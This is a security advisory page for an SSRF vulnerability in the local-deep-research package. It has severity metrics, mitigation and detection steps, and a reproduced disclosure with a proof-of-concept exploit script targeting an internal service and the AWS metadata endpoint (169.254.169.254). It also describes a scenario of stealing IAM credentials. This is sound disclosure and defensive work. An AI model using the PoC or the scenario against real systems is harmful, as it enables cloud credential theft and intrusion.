CVE-2025-67743: local-deep-research: SSRF allows internal network access

GHSA-9c54-gxh7-ppjc MEDIUM CISA: TRACK*
Published December 23, 2025
CISO Take

Patch local-deep-research to 1.3.9 immediately if running in cloud environments. The download service bypasses built-in SSRF protection, allowing any authenticated user to pivot to cloud metadata endpoints (AWS IMDSv1, GCP, Azure) and exfiltrate IAM credentials. On-premises deployments face internal network reconnaissance risk from the same attack path.

What is the risk?

Effective severity exceeds CVSS 6.3 in cloud-deployed configurations. While AC:H and PR:L limit broad exploitation, the Changed Scope and High Confidentiality impact means a single compromised authenticated user could exfiltrate cloud IAM credentials — dramatically escalating blast radius. EPSS is very low (0.00044) and not in CISA KEV, indicating no observed active exploitation, but the PoC is publicly available and trivial to replicate. Self-hosted or enterprise deployments without IMDSv2 enforcement represent the highest-risk tier.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Local Deep Research pip >= 1.3.0, < 1.3.9 1.3.9
8.5K OpenSSF 8.2 Pushed 2d ago 100% patched ~0d to patch Full package profile →

Do you use Local Deep Research? You're affected.

How severe is it?

CVSS 3.1
6.3 / 10
EPSS
0.3%
chance of exploitation in 30 days
Higher than 19% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC High
PR Low
UI None
S Changed
C High
I None
A None

What should I do?

6 steps
  1. PATCH

    Upgrade local-deep-research to >=1.3.9 immediately (one-line fix: replace requests.get() with safe_get() across 9 occurrences).

  2. CLOUD HARDENING

    Enforce IMDSv2 (AWS) or equivalent metadata service token requirements — this mitigates credential theft even on vulnerable versions.

  3. NETWORK CONTROLS

    Deploy WAF/firewall rules blocking outbound requests to RFC1918 ranges and 169.254.0.0/16 from the application tier.

  4. DETECTION

    Alert on outbound HTTP from app servers to 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254.

  5. AUDIT

    Review logs for unusual resource URLs submitted to /api/resources/ and /library/api/download/ endpoints.

  6. INTERIM WORKAROUND

    Restrict the download API to trusted users only until patch is applied.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article-9 - Risk Management System
ISO 42001
A.10.2 - Information security in AI system design A.9.4 - Security of AI system inputs
NIST AI RMF
MANAGE-2.2 - Mechanisms are in place and applied to sustain the value of deployed AI systems
OWASP LLM Top 10
LLM06 - Excessive Agency LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2025-67743?

Patch local-deep-research to 1.3.9 immediately if running in cloud environments. The download service bypasses built-in SSRF protection, allowing any authenticated user to pivot to cloud metadata endpoints (AWS IMDSv1, GCP, Azure) and exfiltrate IAM credentials. On-premises deployments face internal network reconnaissance risk from the same attack path.

Is CVE-2025-67743 actively exploited?

No confirmed active exploitation of CVE-2025-67743 has been reported, but organizations should still patch proactively.

How to fix CVE-2025-67743?

1. PATCH: Upgrade local-deep-research to >=1.3.9 immediately (one-line fix: replace requests.get() with safe_get() across 9 occurrences). 2. CLOUD HARDENING: Enforce IMDSv2 (AWS) or equivalent metadata service token requirements — this mitigates credential theft even on vulnerable versions. 3. NETWORK CONTROLS: Deploy WAF/firewall rules blocking outbound requests to RFC1918 ranges and 169.254.0.0/16 from the application tier. 4. DETECTION: Alert on outbound HTTP from app servers to 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254. 5. AUDIT: Review logs for unusual resource URLs submitted to /api/resources/ and /library/api/download/ endpoints. 6. INTERIM WORKAROUND: Restrict the download API to trusted users only until patch is applied.

What systems are affected by CVE-2025-67743?

This vulnerability affects the following AI/ML architecture patterns: AI research agents, RAG pipelines, agent frameworks, cloud-deployed ML tools, model serving.

What is the CVSS score for CVE-2025-67743?

CVE-2025-67743 has a CVSS v3.1 base score of 6.3 (MEDIUM). The EPSS exploitation probability is 0.27%.

What is the AI security impact?

Affected AI Architectures

AI research agentsRAG pipelinesagent frameworkscloud-deployed ML toolsmodel serving

MITRE ATLAS Techniques

AML.T0006 Active Scanning
AML.T0049 Exploit Public-Facing Application
AML.T0055 Unsecured Credentials
AML.T0075 Cloud Service Discovery

Compliance Controls Affected

EU AI Act: Article 15, Article-9
ISO 42001: A.10.2, A.9.4
NIST AI RMF: MANAGE-2.2
OWASP LLM Top 10: LLM06, LLM07

What are the technical details?

Original Advisory

## Summary The download service (`download_service.py`) makes HTTP requests using raw `requests.get()` without utilizing the application's SSRF protection (`safe_requests.py`). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. **CWE**: CWE-918 (Server-Side Request Forgery) --- ## Details ### Vulnerable Code Location **File**: `src/local_deep_research/research_library/services/download_service.py` The application has proper SSRF protection implemented in `security/safe_requests.py` and `security/ssrf_validator.py`, which blocks: - Loopback addresses (127.0.0.0/8) - Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - AWS metadata endpoint (169.254.169.254) - Link-local addresses However, `download_service.py` bypasses this protection by using raw `requests.get()` directly: ```python # Line 1038 - _download_generic method response = requests.get(url, headers=headers, timeout=30) # Line 1075 response = requests.get(api_url, timeout=10) # Line 1100 pdf_response = requests.get(pdf_url, headers=headers, timeout=30) # Line 1144 response = requests.get(europe_url, headers=headers, timeout=30) # Line 1187 api_response = requests.get(elink_url, params=params, timeout=10) # Line 1207 summary_response = requests.get(esummary_url, ...) # Line 1236 response = requests.get(europe_url, headers=headers, timeout=30) # Line 1276 response = requests.get(url, headers=headers, timeout=10) # Line 1298 response = requests.get(europe_url, headers=headers, timeout=30) ``` ### Attack Vector 1. Attacker submits a malicious URL via `POST /api/resources/<research_id>` 2. URL is stored in database without SSRF validation (`resource_service.py:add_resource()`) 3. Download is triggered via `/library/api/download/<resource_id>` 4. `download_service.py` fetches the URL using raw `requests.get()`, bypassing SSRF protection --- ## PoC ### Prerequisites - Docker and Docker Compose installed - Python 3.11+ ### Step 1: Create the Mock Internal Service **File: `internal_service.py`** ```python #!/usr/bin/env python3 """Mock internal service that simulates a sensitive internal endpoint.""" from http.server import HTTPServer, BaseHTTPRequestHandler import json class InternalServiceHandler(BaseHTTPRequestHandler): def log_message(self, format, *args): print(f"[INTERNAL SERVICE] {args[0]}") def do_GET(self): print(f"\n{'='*60}") print(f"[!] SSRF DETECTED - Internal service accessed!") print(f"[!] Path: {self.path}") print(f"{'='*60}\n") self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() secret_data = { "status": "SSRF_SUCCESSFUL", "message": "You have accessed internal service via SSRF!", "internal_secrets": { "database_password": "super_secret_db_pass_123", "api_key": "sk-internal-api-key-xxxxx", "admin_token": "admin_bearer_token_yyyyy" } } self.wfile.write(json.dumps(secret_data, indent=2).encode()) if __name__ == "__main__": print("[*] Starting mock internal service on port 8080") server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler) server.serve_forever() ``` ### Step 2: Create the Exploit Script **File: `exploit.py`** ```python #!/usr/bin/env python3 """SSRF Vulnerability Active PoC""" import sys import requests sys.path.insert(0, '/app/src') def main(): print("=" * 70) print("SSRF Vulnerability PoC - Active Exploitation") print("=" * 70) internal_url = "http://ssrf-internal-service:8080/secret-data" aws_metadata_url = "http://169.254.169.254/latest/meta-data/" headers = {"User-Agent": "Mozilla/5.0"} # EXPLOIT 1: Access internal service print("\n[EXPLOIT 1] Accessing internal service via SSRF") print(f" Target: {internal_url}") try: # Same pattern as download_service.py line 1038 response = requests.get(internal_url, headers=headers, timeout=30) print(f" [!] SSRF SUCCESSFUL! Status: {response.status_code}") print(f" [!] Retrieved secrets:") for line in response.text.split('\n')[:15]: print(f" {line}") except Exception as e: print(f" [-] Failed: {e}") return 1 # EXPLOIT 2: AWS metadata bypass print("\n[EXPLOIT 2] AWS Metadata endpoint bypass") from local_deep_research.security.ssrf_validator import validate_url print(f" SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}") print(f" But download_service.py BYPASSES the validator!") try: requests.get(aws_metadata_url, timeout=5) except requests.exceptions.ConnectionError: print(f" Request sent without SSRF validation!") print("\n" + "=" * 70) print("SSRF VULNERABILITY CONFIRMED") print("=" * 70) return 0 if __name__ == "__main__": sys.exit(main()) ``` ### Step 3: Run the PoC ```bash # Build and run with Docker docker network create ssrf-poc-net docker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c "pip install -q && python internal_service.py" docker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py ``` ### Expected Output ``` ====================================================================== SSRF Vulnerability PoC - Active Exploitation ====================================================================== [EXPLOIT 1] Accessing internal service via SSRF Target: http://ssrf-internal-service:8080/secret-data [!] SSRF SUCCESSFUL! Status: 200 [!] Retrieved secrets: { "status": "SSRF_SUCCESSFUL", "message": "You have accessed internal service via SSRF!", "internal_secrets": { "database_password": "super_secret_db_pass_123", "api_key": "sk-internal-api-key-xxxxx", "admin_token": "admin_bearer_token_yyyyy" } } [EXPLOIT 2] AWS Metadata endpoint bypass SSRF validator: BLOCKED But download_service.py BYPASSES the validator! Request sent without SSRF validation! ====================================================================== SSRF VULNERABILITY CONFIRMED ====================================================================== ``` --- ## Impact ### Who is affected? All users running local-deep-research in: - **Cloud environments** (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints - **Corporate networks** - attackers can access internal services and databases - **Any deployment** - attackers can scan internal networks ### What can an attacker do? | Attack | Impact | |--------|--------| | Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations | | Internal service access | Read sensitive data from databases, Redis, admin panels | | Network reconnaissance | Map internal network topology and services | | Bypass firewalls | Access services not exposed to the internet | --- ## Recommended Fix Replace all `requests.get()` calls in `download_service.py` with `safe_get()` from `security/safe_requests.py`: ```diff # download_service.py + from ...security.safe_requests import safe_get def _download_generic(self, url, ...): - response = requests.get(url, headers=headers, timeout=30) + response = safe_get(url, headers=headers, timeout=30) ``` The `safe_get()` function already validates URLs against SSRF attacks before making requests. ### Files to update: - `src/local_deep_research/research_library/services/download_service.py` (9 occurrences) - `src/local_deep_research/research_library/downloaders/base.py` (uses `requests.Session`) --- ## References - [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html) - [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html) - [AWS SSRF Attacks and IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html) - [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf) --- Thank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.

Exploitation Scenario

An authenticated attacker with a low-privilege account submits a research resource URL pointing to http://169.254.169.254/latest/meta-data/iam/security-credentials/ via POST /api/resources/<research_id>. The URL passes storage without SSRF validation (resource_service.py skips it). The attacker triggers download via GET /library/api/download/<resource_id>. download_service.py fetches the URL using raw requests.get(), bypassing safe_requests.py entirely, and returns AWS IAM role credentials in the response. With stolen credentials, the attacker pivots from the AI research tool to full cloud account access — lateral movement, data exfiltration, or infrastructure takeover follow.

Weaknesses (CWE)

CWE-918 — Server-Side Request Forgery (SSRF): The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Timeline

Published
December 23, 2025
Last Modified
December 23, 2025
First Seen
March 24, 2026

Related Vulnerabilities